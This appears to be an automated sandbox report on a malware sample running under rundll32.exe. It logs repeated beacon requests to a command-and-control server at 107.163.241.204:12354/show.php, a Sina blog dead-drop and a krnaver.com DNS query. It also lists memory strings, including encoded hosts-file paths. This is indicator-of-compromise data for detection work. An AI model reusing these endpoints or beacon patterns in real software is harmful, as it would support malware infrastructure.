Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: krnaver.com
Source: global traffic	DNS traffic detected: DNS query: blog.sina.com.cn

Source: rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php
Source: rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php#
Source: rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php$
Source: rundll32.exe, 00000006.00000002.3898858298.0000000004A7C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3898926048.0000000004AFD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php)
Source: rundll32.exe, 00000006.00000003.1982032488.0000000005633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php-xN
Source: rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php0
Source: rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php1
Source: rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php3
Source: rundll32.exe, 00000006.00000003.3419063356.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982084602.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php4
Source: rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php9
Source: rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3419063356.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2848809904.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php:
Source: rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3028247927.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpD
Source: rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpE
Source: rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062650731.0000000005634000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982032488.0000000005633000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2230805040.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpI
Source: rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2230805040.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpL
Source: rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpR
Source: rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpW
Source: rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpcom
Source: rundll32.exe, 00000006.00000003.2848809904.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpe
Source: rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpg
Source: rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpk
Source: rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3028247927.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpm
Source: rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpn
Source: rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpq
Source: rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpr
Source: rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phps
Source: rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpsU
Source: rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpt
Source: rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpy
Source: rundll32.exe, 00000006.00000002.3899907702.000000000536A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpz
Source: rundll32.exe, 00000006.00000002.3898858298.0000000004A7C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.24I
Source: rundll32.exe, rundll32.exe, 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%s
Source: rundll32.exe, 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz
Source: rundll32.exe, 00000006.00000003.2365087073.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394402713.0000000002858000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807#
Source: rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807-xN
Source: rundll32.exe, 00000006.00000002.3900034780.000000000558D000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2230805040.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807.
Source: rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298071
